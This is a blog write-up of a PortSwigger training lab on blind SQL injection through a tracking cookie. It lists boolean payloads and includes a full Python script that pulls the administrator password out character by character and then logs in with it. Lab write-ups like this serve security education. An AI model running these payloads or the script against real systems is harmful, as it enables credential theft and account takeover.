Shubham Ranpise

Back

SQLi Lab 11

Blind SQL injection for extracting administrator password via conditional responses

portswigger-labs content

Blind SQL injection with conditional responses#

This lab demonstrates exploiting a blind SQL injection (SQLi) vulnerability via a tracking cookie. The application does not return query results or errors, but includes a “Welcome back” message if the SQL query returns any rows. By modifying the TrackingId cookie and testing boolean conditions, we can infer the presence of tables, users, password length, and ultimately extract each character of the administrator password.

How Exploit Works#

  • Modify the TrackingId cookie to test boolean conditions:
    • ' AND '1'='1 → condition true, Welcome back message appears.
    • ' AND '1'='2 → condition false, Welcome back message disappears.
  • Confirm existence of the users table and administrator user using subqueries.
  • Determine password length by sending sequential conditions:
    • ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>N)='a
  • Extract password character-by-character using SUBSTRING in the cookie:
    • ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
  • Iterate each position until the full password is reconstructed.
  • Login as administrator using the extracted password.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Burp Suite proxy (optional, comment out if not needed)
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """Check if Burp Suite proxy is running."""
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def get_initial_cookies(url):
    """Fetch initial cookies from the application (TrackingId + session)."""
    res = requests.get(url, verify=False, proxies=proxies, timeout=10)
    res.raise_for_status()
    cookies = res.cookies.get_dict()

    if "TrackingId" not in cookies or "session" not in cookies:
        print("[-] Could not fetch TrackingId or session cookie.")
        sys.exit(1)

    print(f"[*] Got TrackingId={cookies['TrackingId']} and session={cookies['session']}")
    return cookies

def send_injection(url, cookies, payload):
    """Send SQLi payload appended to TrackingId cookie and check response."""
    injection = cookies["TrackingId"] + payload
    injected_cookies = {
        "TrackingId": injection,
        "session": cookies["session"]
    }
    res = requests.get(url, cookies=injected_cookies, verify=False, proxies=proxies, timeout=10)
    res.raise_for_status()
    return "Welcome back!" in res.text

def extract_password(url, cookies, max_len=20):
    """Extract administrator password character by character."""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789"
    password = ""

    print("[*] Extracting password...")

    for i in range(1, max_len + 1):
        found = False
        for c in charset:
            payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{c}"
            if send_injection(url, cookies, payload):
                password += c
                print(f"[+] Found character {i}: {c} -> {password}")
                found = True
                break
        if not found:
            print(f"[-] No match found for position {i}. Stopping...")
            break

    return password

def login(url, username, password):
    """Log in using CSRF token and credentials, then check if lab solved."""
    login_url = url.rstrip("/") + "/login"
    session = requests.Session()

    res = session.get(login_url, verify=False, proxies=proxies)
    res.raise_for_status()
    soup = BeautifulSoup(res.text, "html.parser")
    csrf_token = soup.find("input", {"name": "csrf"})["value"]

    data = {
        "csrf": csrf_token,
        "username": username,
        "password": password
    }
    res = session.post(login_url, data=data, verify=False, proxies=proxies)
    res.raise_for_status()

    if "Log out" in res.text:
        print(f"[+] Logged in as {username}. Checking if lab is solved...")
        base_res = session.get(url, verify=False, proxies=proxies)
        base_res.raise_for_status()

        if "Congratulations" in base_res.text:
            print("[+] Lab solved! 🎉")
            return True
        else:
            print("[-] Logged in but lab not solved yet.")
            return False
    else:
        print("[-] Login failed.")
        return False

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()
    check_burp()

    # Step 1: Get real cookies
    cookies = get_initial_cookies(url)

    # Step 2: Extract administrator password
    password = extract_password(url, cookies, max_len=20)

    if not password:
        print("[-] Failed to extract password!")
        sys.exit(1)

    print(f"[*] Extracted password for administrator: {password}")

    # Step 3: Try to login
    login(url, "administrator", password)

if __name__ == "__main__":
    main()
python

See more portswigger-labs